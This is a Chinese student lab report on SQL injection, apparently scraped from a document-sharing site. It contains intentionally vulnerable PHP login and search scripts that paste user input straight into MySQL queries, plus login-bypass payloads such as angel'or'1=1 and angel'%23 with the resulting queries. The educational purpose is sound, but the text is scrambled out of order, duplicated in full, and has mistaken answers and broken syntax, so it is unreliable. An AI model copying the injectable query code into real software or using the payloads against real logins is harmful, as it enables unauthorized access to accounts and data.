信息安全实验报告
合集下载
相关主题
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
</tr>
</form>
</body>
</html>
HTML页面如图所示:
3.编写PHP脚本查询file数据库表
<php
$key = $_POST['key'];# 从html表单中提取变量值
>
<html>
<head><title>搜索结果</title></head>
<body>
<h3>文档搜索引擎</h3>
①选择工作数据库test(缺少状态下,test数据库已被创建)。
use test;
②创建user数据库表
CREATE TABLE user(userid int(11) NOT NULL AUTO_INCREMENT, username varchar(20) NOT NULL DEFAULT "", password varchar(20) NOT NULL DEFAULT "", PRIMARY KEY(userid))TYPE=MyISAM AUTO_INCREMENT=3;
echo "error";
exit();
}
$total = mysql_num_rows($result);
if($total <= 0)
echo "<p>The $key was not found in all the record<p>";
else{
while($file=mysql_fetch_array($result))
$sql_select = "SELECT * FROM file WHERE title LIKE'%$key%'";# 模糊查询title中含有指定关键字的记录,其中%符号表示通配,这里前、后均通配
$result = mysql_db_query($dbname, $sql_select);
if(empty($result) ){
Linux
【网络环境】
交换网络结构
【实验类型】
设计型
【实验步骤】
「注」实验步骤中涉及到的mysql数据库操作命令和php脚本源码,均在/opt/ExpNIC/HostSec-Lab/ Projects目录中提供。
一.PHP访问MySQL简单实例
1.创建隶属test数据库的user表
(1) 启动mysql服务
$password = $_GET['password'];# 获取password参数值
## 连接到MySQL服务器
$dbcnx = mysql_connect($servername, $dbusername, $dbpassword);
{
if( !$dbcnx )
{
echo( "连接MySQL服务器失败".mysql_error() );
snort paper
snort.net
snort intrusion detection
snort based network
ppi
another snort paper
iptables+snort
no name
intelligence ids
2.编写HTML页面
通过HTML页面提交表单给服务器端PHP脚本,由PHP根据表单索引关键字对MySQL数据库进行查询,最后将查询结果返回给HTML页面。HTML页面代码如下:
>
从代码中可知,当输入正确的用户名和密码后,就会提示登录成功,否则登录失败。
单击桌面控制面板中“Web浏览器”按钮,当我们在URL地址栏中提交:
本机IP/access.phpusername=angel&password=mypass
Web页面会提示“登录成功”。
写出此时PHP脚本中具体的SQL查询语句:
echo ("<li>".htmlspecialchars($file[title])."<p>");
echo ("摘要:".htmlspecialchars($file[summary]));
}
else{
echo ( "<b>请输入查询关键字.</b><p>" );
}
exit();
>
</body>
阳光学院
计算机科学与技术系
信息安全实验报告
专 业:计算机科学与技术
年 级:2015级
组 别:1B
学 号:
姓 名:邹驼玲
2017年 月 日
实验4
练习一、
【实验目的】
了解SQL注入的基本原理
掌握PHP脚本访问MySQL数据库的基本方法
掌握程序设计中避免出现SQL注入漏洞的基本方法
【实验人数】
每组1人
【系统环境】
summaryvarchar(1024) NOT NULL DEFAULT "",
PRIMARY KEY(fileid)
)
TYPE=MyISAM AUTO_INCREMENT=3;
(2) 插入四条数据信息
title
author
summary
honeypot paper
honeypot.net
honeypot and honeynet
<php
$servername = "localhost"# 定义变量 MySQL服务器名称
$dbusername = "root";# 访问MySQL数据库的用户名称
$dbpassword = "";# root用户密码,默认为空
$dbname = "test";# 工作数据库
$username = $_GET['username'];# 利用HTTP的GET方法,从URL中获取username参数值
exit();
}}
## 选择工作数据库
if( !mysql_select_db($dbname, $dbcnx) )
{
echo( "激活$dbname数据库失败".mysql_error() );
exit();
}
## SQL查询
$sql_select = "SELECT * FROM user WHERE username='$username'AND password='$password'";
$result = mysql_query($sql_select, $dbcnx);
$userinfo = mysql_fetch_array($result);
if( empty($userinfo) )
{
echo( "登录失败" );
}
else
{
echo( "登录成功" );
}
echo "<p>SQL查询: $sql_select<p>";
①在控制台中输入如下命令启动mysql服务。缺省状态下root用户密码为空。
service mysqld start
②可通过如下命令查看mysql服务是否启动成功。
service mysqld status
(2) 创建user数据库表
在控制台中输入mysql,进入mysql客户端控制台(mysql>)。
SELECT*FROM user WHERE username=’angel’or 1=1’AND password=”
(2) 在URL地址栏中提交:
本机IP/access.phpusername=angel'or'1=1
注入是否成功?是。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROM user WHERE username=’angel’or ‘1=1’AND password=”
(4) Mysql还支持“/*”注释格式,请写出利用“/*”实现注入的URL,以及此时的SQL查询语句。
SQL查询语句:SELECT*FROM user WHERE username=’angel’*’AND password=”
URL:’%2F%2A
(5) 步骤(2)通过向username注入逻辑or运算,在只需知晓用户名的情况下便可成功登录。下面请设计单独向password注入逻辑运算(可多个),要求在只需知晓用户名的情况下实现登录:
</table><p>
<table border="0">
<tr>
<td>关键字:</td>
<td align="left"><input type="text" name="key" size="32" maxlength="32"></td>
</tr>
<tr>
<td bgcolor="#cccaaa" colspan="2" align="left"><input type="submit" value="搜索"></td>
1.创建隶属test数据库的file表
(1) 创建file数据库表
file数据库表结构如下:
CREATE TABLE file
(
fileidint(11) NOT NULL AUTO_INCREMENT,
titlevarchar(20) NOT NULL DEFAULT "",
authorvarchar(20) NOT NULL DEFAULT "",
</html>
输入关键字“snort”,进行搜索,搜索结果中含有多少条记录?3。记录中是否包含与snort关键字无关的项无。
写出此时PHP脚本中具体的SQL查询语句:
SELECT * FORM file WHERE title LIKE ‘%$snort%’”;
<php>
echo "搜索关键字:$key<p>";
echo "文档搜索时间:$key<p>";
echo date("H:i, jS F<p>");
echo "搜索结果:";
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
SQL查询语句:SELECT*FROM user WHERE username=’angel’or‘1=1’AND password=”
URL:’%20or%20’1=1
二.搜索引擎注入
值得注意的是,Internet上有许多的PHP程序搜索引擎是存在问题的,也就是提交特殊字符就可以显示所有记录,包括不符合条件的。
③插入两条数据信息
INSERT INTO user VALUES(1, "angel", "mypass");
INSERT INTO user VALUES(2, "lblis", "yourpass");
④查看数据库表
select * from user;
2.编写PHP脚本查询user数据库表
编写access.php脚本,内容如下:
SQL查询语句:SELECT*FROM user WHERE username=’angel’or 1=1’AND password=”
URL:’%20or%201=1
(6) 下面请设计SQL查询语句,要求在不需要知晓用户名和密码的情况下实现登录。
提示:通过猜测用户ID字段名称与用户序列号,结合逻辑运算,向password进行注入。
通过分析SQL查询语句解释实验现象:username=’angel’or 1=1’是不合法的,username=’angel’or ‘1=1’是合法的用户,名注入,且任何数或上1都为1,所以成功。
(3) 在URL地址栏中提交:
本机IP/access.phpusername=angel'%23
注入是否成功?是。
$dbname = "test";
$tablename = "";
$result = mysql_connect($servername,$dbusername,$dbpassword);
if( !$result ){
echo ("连接mysql服务器失败");
exit();
}
ifபைடு நூலகம் !empty($key) ){
SELECT*FROM user WHERE username=’angel’AND password=’mypass’
3.实施SQL注入
(1) 在URL地址栏中提交:
本机IP/access.phpusername=angel'or 1=1
注入是否成功?否。
写出此时PHP脚本中具体的SQL查询语句:
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROM user WHERE username=’angel’#’AND password=”
此处利用了MySQL支持“#”注释格式的特性,在提交的时候会将#后面的语句注释掉。由于编码问题,在多数Web浏览器URL地址栏里直接提交#会变成空,所以这里使用了字符“#”的ASCII码值0x23。
<html>
<body>
<form action="search.php" method="post"># 指定处理表单请求的PHP脚本为search.php
<table border="0">
<tr bgcolor="#cccaaa">
<td width="300">文档搜索引擎</td>
</tr>
</form>
</body>
</html>
HTML页面如图所示:
3.编写PHP脚本查询file数据库表
<php
$key = $_POST['key'];# 从html表单中提取变量值
>
<html>
<head><title>搜索结果</title></head>
<body>
<h3>文档搜索引擎</h3>
①选择工作数据库test(缺少状态下,test数据库已被创建)。
use test;
②创建user数据库表
CREATE TABLE user(userid int(11) NOT NULL AUTO_INCREMENT, username varchar(20) NOT NULL DEFAULT "", password varchar(20) NOT NULL DEFAULT "", PRIMARY KEY(userid))TYPE=MyISAM AUTO_INCREMENT=3;
echo "error";
exit();
}
$total = mysql_num_rows($result);
if($total <= 0)
echo "<p>The $key was not found in all the record<p>";
else{
while($file=mysql_fetch_array($result))
$sql_select = "SELECT * FROM file WHERE title LIKE'%$key%'";# 模糊查询title中含有指定关键字的记录,其中%符号表示通配,这里前、后均通配
$result = mysql_db_query($dbname, $sql_select);
if(empty($result) ){
Linux
【网络环境】
交换网络结构
【实验类型】
设计型
【实验步骤】
「注」实验步骤中涉及到的mysql数据库操作命令和php脚本源码,均在/opt/ExpNIC/HostSec-Lab/ Projects目录中提供。
一.PHP访问MySQL简单实例
1.创建隶属test数据库的user表
(1) 启动mysql服务
$password = $_GET['password'];# 获取password参数值
## 连接到MySQL服务器
$dbcnx = mysql_connect($servername, $dbusername, $dbpassword);
{
if( !$dbcnx )
{
echo( "连接MySQL服务器失败".mysql_error() );
snort paper
snort.net
snort intrusion detection
snort based network
ppi
another snort paper
iptables+snort
no name
intelligence ids
2.编写HTML页面
通过HTML页面提交表单给服务器端PHP脚本,由PHP根据表单索引关键字对MySQL数据库进行查询,最后将查询结果返回给HTML页面。HTML页面代码如下:
>
从代码中可知,当输入正确的用户名和密码后,就会提示登录成功,否则登录失败。
单击桌面控制面板中“Web浏览器”按钮,当我们在URL地址栏中提交:
本机IP/access.phpusername=angel&password=mypass
Web页面会提示“登录成功”。
写出此时PHP脚本中具体的SQL查询语句:
echo ("<li>".htmlspecialchars($file[title])."<p>");
echo ("摘要:".htmlspecialchars($file[summary]));
}
else{
echo ( "<b>请输入查询关键字.</b><p>" );
}
exit();
>
</body>
阳光学院
计算机科学与技术系
信息安全实验报告
专 业:计算机科学与技术
年 级:2015级
组 别:1B
学 号:
姓 名:邹驼玲
2017年 月 日
实验4
练习一、
【实验目的】
了解SQL注入的基本原理
掌握PHP脚本访问MySQL数据库的基本方法
掌握程序设计中避免出现SQL注入漏洞的基本方法
【实验人数】
每组1人
【系统环境】
summaryvarchar(1024) NOT NULL DEFAULT "",
PRIMARY KEY(fileid)
)
TYPE=MyISAM AUTO_INCREMENT=3;
(2) 插入四条数据信息
title
author
summary
honeypot paper
honeypot.net
honeypot and honeynet
<php
$servername = "localhost"# 定义变量 MySQL服务器名称
$dbusername = "root";# 访问MySQL数据库的用户名称
$dbpassword = "";# root用户密码,默认为空
$dbname = "test";# 工作数据库
$username = $_GET['username'];# 利用HTTP的GET方法,从URL中获取username参数值
exit();
}}
## 选择工作数据库
if( !mysql_select_db($dbname, $dbcnx) )
{
echo( "激活$dbname数据库失败".mysql_error() );
exit();
}
## SQL查询
$sql_select = "SELECT * FROM user WHERE username='$username'AND password='$password'";
$result = mysql_query($sql_select, $dbcnx);
$userinfo = mysql_fetch_array($result);
if( empty($userinfo) )
{
echo( "登录失败" );
}
else
{
echo( "登录成功" );
}
echo "<p>SQL查询: $sql_select<p>";
①在控制台中输入如下命令启动mysql服务。缺省状态下root用户密码为空。
service mysqld start
②可通过如下命令查看mysql服务是否启动成功。
service mysqld status
(2) 创建user数据库表
在控制台中输入mysql,进入mysql客户端控制台(mysql>)。
SELECT*FROM user WHERE username=’angel’or 1=1’AND password=”
(2) 在URL地址栏中提交:
本机IP/access.phpusername=angel'or'1=1
注入是否成功?是。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROM user WHERE username=’angel’or ‘1=1’AND password=”
(4) Mysql还支持“/*”注释格式,请写出利用“/*”实现注入的URL,以及此时的SQL查询语句。
SQL查询语句:SELECT*FROM user WHERE username=’angel’*’AND password=”
URL:’%2F%2A
(5) 步骤(2)通过向username注入逻辑or运算,在只需知晓用户名的情况下便可成功登录。下面请设计单独向password注入逻辑运算(可多个),要求在只需知晓用户名的情况下实现登录:
</table><p>
<table border="0">
<tr>
<td>关键字:</td>
<td align="left"><input type="text" name="key" size="32" maxlength="32"></td>
</tr>
<tr>
<td bgcolor="#cccaaa" colspan="2" align="left"><input type="submit" value="搜索"></td>
1.创建隶属test数据库的file表
(1) 创建file数据库表
file数据库表结构如下:
CREATE TABLE file
(
fileidint(11) NOT NULL AUTO_INCREMENT,
titlevarchar(20) NOT NULL DEFAULT "",
authorvarchar(20) NOT NULL DEFAULT "",
</html>
输入关键字“snort”,进行搜索,搜索结果中含有多少条记录?3。记录中是否包含与snort关键字无关的项无。
写出此时PHP脚本中具体的SQL查询语句:
SELECT * FORM file WHERE title LIKE ‘%$snort%’”;
<php>
echo "搜索关键字:$key<p>";
echo "文档搜索时间:$key<p>";
echo date("H:i, jS F<p>");
echo "搜索结果:";
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
SQL查询语句:SELECT*FROM user WHERE username=’angel’or‘1=1’AND password=”
URL:’%20or%20’1=1
二.搜索引擎注入
值得注意的是,Internet上有许多的PHP程序搜索引擎是存在问题的,也就是提交特殊字符就可以显示所有记录,包括不符合条件的。
③插入两条数据信息
INSERT INTO user VALUES(1, "angel", "mypass");
INSERT INTO user VALUES(2, "lblis", "yourpass");
④查看数据库表
select * from user;
2.编写PHP脚本查询user数据库表
编写access.php脚本,内容如下:
SQL查询语句:SELECT*FROM user WHERE username=’angel’or 1=1’AND password=”
URL:’%20or%201=1
(6) 下面请设计SQL查询语句,要求在不需要知晓用户名和密码的情况下实现登录。
提示:通过猜测用户ID字段名称与用户序列号,结合逻辑运算,向password进行注入。
通过分析SQL查询语句解释实验现象:username=’angel’or 1=1’是不合法的,username=’angel’or ‘1=1’是合法的用户,名注入,且任何数或上1都为1,所以成功。
(3) 在URL地址栏中提交:
本机IP/access.phpusername=angel'%23
注入是否成功?是。
$dbname = "test";
$tablename = "";
$result = mysql_connect($servername,$dbusername,$dbpassword);
if( !$result ){
echo ("连接mysql服务器失败");
exit();
}
ifபைடு நூலகம் !empty($key) ){
SELECT*FROM user WHERE username=’angel’AND password=’mypass’
3.实施SQL注入
(1) 在URL地址栏中提交:
本机IP/access.phpusername=angel'or 1=1
注入是否成功?否。
写出此时PHP脚本中具体的SQL查询语句:
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROM user WHERE username=’angel’#’AND password=”
此处利用了MySQL支持“#”注释格式的特性,在提交的时候会将#后面的语句注释掉。由于编码问题,在多数Web浏览器URL地址栏里直接提交#会变成空,所以这里使用了字符“#”的ASCII码值0x23。
<html>
<body>
<form action="search.php" method="post"># 指定处理表单请求的PHP脚本为search.php
<table border="0">
<tr bgcolor="#cccaaa">
<td width="300">文档搜索引擎</td>
</tr>